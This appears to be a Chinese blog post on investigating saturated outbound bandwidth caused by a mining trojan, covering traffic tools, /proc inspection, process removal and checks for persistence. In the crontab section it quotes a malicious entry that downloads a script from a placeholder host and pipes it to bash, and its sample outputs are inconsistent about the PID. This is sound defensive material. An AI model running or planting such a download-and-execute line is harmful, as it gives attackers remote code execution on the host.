线上出口带宽被打满的排查与处理实战
某天收到监控告警,服务器出口带宽被打满,业务响应变慢。本文记录完整的排查思路和处理过程。
定位流量来源:iftop
带宽被打满,第一步要搞清楚流量到底流向哪里。iftop 是最直观的工具。
启动模型工具

# 安装
yum install -y iftop # CentOS/RHEL
apt install -y iftop # Debian/Ubuntu
# 指定网卡查看
iftop -i eth0
界面说明:
- 每一行代表一个连接,左侧是本机,右侧是对端 IP
<=和=>分别表示流入和流出流量- 右侧三列是最近 2s、10s、40s 的平均流量
观察特征:如果发现某个未知的对端 IP 持续占用大量上行流量(=>),基本可以判定是本机有异常进程在对外发包,常见于挖矿木马、DDoS 肉鸡、异常数据外传等。
按 t 可以切换显示模式,p 可以显示端口号,方便下一步排查。
找到占用端口的进程:netstat

拿到可疑对端 IP 和端口后,用 netstat 找出本机对应的进程。
# UDP 场景
netstat -anpu | grep <可疑IP或端口>
# TCP 场景
netstat -antp | grep <可疑IP或端口>参数说明:
-a显示所有连接-n以数字形式显示地址和端口(不做 DNS 反解,更快)-p显示进程 PID 和名称-u/-t分别过滤 UDP / TCP
输出示例:
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
udp 0 0 0.0.0.0:123 0.0.0.0:* 804/chronyd
udp 0 0 127.0.0.1:323 0.0.0.0:* 804/chronyd
udp6 0 0 :::123 :::* 804/chronyd
udp6 0 0 ::1:323 :::* 804/chronyd 这里拿到了关键信息:PID =804。
提示:如果
netstat未安装,可用ss -anpu替代,速度更快:ss -anpu | grep <端口>

通过 PID 找到程序真实路径
有些恶意进程名会伪装成正常进程(如 kthreadd、systemd 等),不能只看进程名,一定要看真实执行路径。
ls -al /proc/804/exe输出示例:
lrwxrwxrwx 1 root root 0 Jun 10 14:23 /proc/12345/exe -> /tmp/.hidden/kdevtmpfsiexe 是一个符号链接,指向进程的真实二进制文件。这里看到程序藏在 /tmp/.hidden/ 下,明显是恶意程序。

补充几个有用的命令:
# 查看进程工作目录
ls -al /proc/804/cwd
# 查看进程启动命令和参数
cat /proc/804/cmdline | tr '\0' ' '
# 查看进程的环境变量(有时能发现下载源)
cat /proc/804/environ | tr '\0' '\n'
终止异常进程
确认是恶意进程后,先记录关键信息(路径、文件、连接),再终止。
# 终止进程
kill -9 804
# 删除恶意文件
rm -f /tmp/.hidden/kdevtmpfsi注意:很多挖矿木马有守护进程,kill 掉后会被拉起。建议先找出并处理守护进程、再一起 kill,或先 chmod 000 掉恶意文件剥夺执行权限:
chmod 000 /tmp/.hidden/kdevtmpfsi确认网络恢复
处理完后,重新用 iftop 确认异常流量是否消失。
iftop -i eth0如果那个可疑对端 IP 的流量已经消失、带宽回落到正常水平,说明处理生效。同时观察一段时间,确认进程没有被守护进程重新拉起。
# 确认进程真的没了
ps aux | grep <关键字>彻底排查持久化后门
kill 掉进程只是治标。恶意程序通常会设置多种持久化手段,不清理干净会反复复活。必须逐一排查。
1. crontab 定时任务
这是最常见的持久化方式,木马会定时下载并执行脚本。
# 查看所有用户的 crontab
for u in $(cut -d: -f1 /etc/passwd); do echo "=== $u ==="; crontab -l -u $u 2>/dev/null; done
# 检查系统级定时任务
cat /etc/crontab
ls -al /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/ /var/spool/cron/发现类似 * * * * * curl -s http://x.x.x.x/x.sh | bash 的条目,立即删除。
2. SSH 授权密钥
攻击者常写入自己的公钥实现免密登录。
# 检查所有用户的 authorized_keys
find / -name "authorized_keys" 2>/dev/null
cat ~/.ssh/authorized_keys
cat /root/.ssh/authorized_keys删除不认识的公钥,并检查 /etc/ssh/sshd_config 是否被篡改。
3. 开机自启动项
# systemd 服务
systemctl list-unit-files --type=service | grep enabled
ls -al /etc/systemd/system/ /usr/lib/systemd/system/
# 传统 rc 启动脚本
cat /etc/rc.local
ls -al /etc/init.d/
# 各种 profile / bashrc(登录时触发)
cat /etc/rc.d/rc.local ~/.bashrc ~/.bash_profile /etc/profile /etc/profile.d/*逐个核对,清除可疑条目。
4. 其他检查项
# 检查异常账户(UID=0 的非 root 账户)
awk -F: '$3==0{print $1}' /etc/passwd
# 检查最近修改的文件
find / -mtime -3 -type f 2>/dev/null | grep -vE "^/proc|^/sys"
# 检查动态链接库劫持
cat /etc/ld.so.preload其他网络排查工具
分享一些日常排查网络问题的常用工具:
| 工具 | 用途 |
|---|---|
iftop | 按连接实时查看流量,快速定位流量对端 |
nethogs | 按进程查看带宽占用,直接对应到程序 |
iptraf-ng | 交互式网络流量监控,功能全面 |
ss | 替代 netstat,查看连接状态更快 |
tcpdump | 抓包分析,排查具体流量内容 |
nload | 简洁的实时上下行带宽曲线 |
vnstat | 长期流量统计,按天/月汇总 |
iotop | 磁盘 IO 排查(顺带,木马常伴随高 IO) |
几个典型场景:
按进程看带宽(最直观)
nethogs eth0nethogs 直接把带宽归属到进程,比 iftop+netstat 两步走更快,强烈推荐。
抓包分析可疑流量
# 抓取与可疑 IP 的通信
tcpdump -i eth0 host 185.x.x.x -w /tmp/capture.pcap
# 快速查看某端口流量
tcpdump -i eth0 port 8080 -nn查看整体带宽趋势
nload eth0 # 实时曲线
vnstat -d # 按天统计历史流量总结
出口带宽被打满的标准排查链路:
- iftop 定位异常流量对端 IP 和端口
- netstat/ss 通过端口找到进程 PID
- ls -al /proc/PID/exe 找到程序真实路径
- kill 终止进程并删除文件
- iftop 复查确认流量恢复
- 清理 crontab / SSH 密钥 / 开机自启 等持久化后门
处理这类问题的核心思想是:先止血,再溯源,最后清理持久化。只 kill 进程而不清理后门,木马很快就会卷土重来。日常还应加固 SSH(禁密码登录、改端口)、及时更新补丁、配置防火墙和流量监控告警,做到防患于未然。
关注公众号: 耕云躬行录
个人博客:躬行笔记,里面记录了更多生产环境的真实踩坑案例,欢迎来逛逛。
下期想看啥?留言告诉我,点赞过 200 我专门写一篇。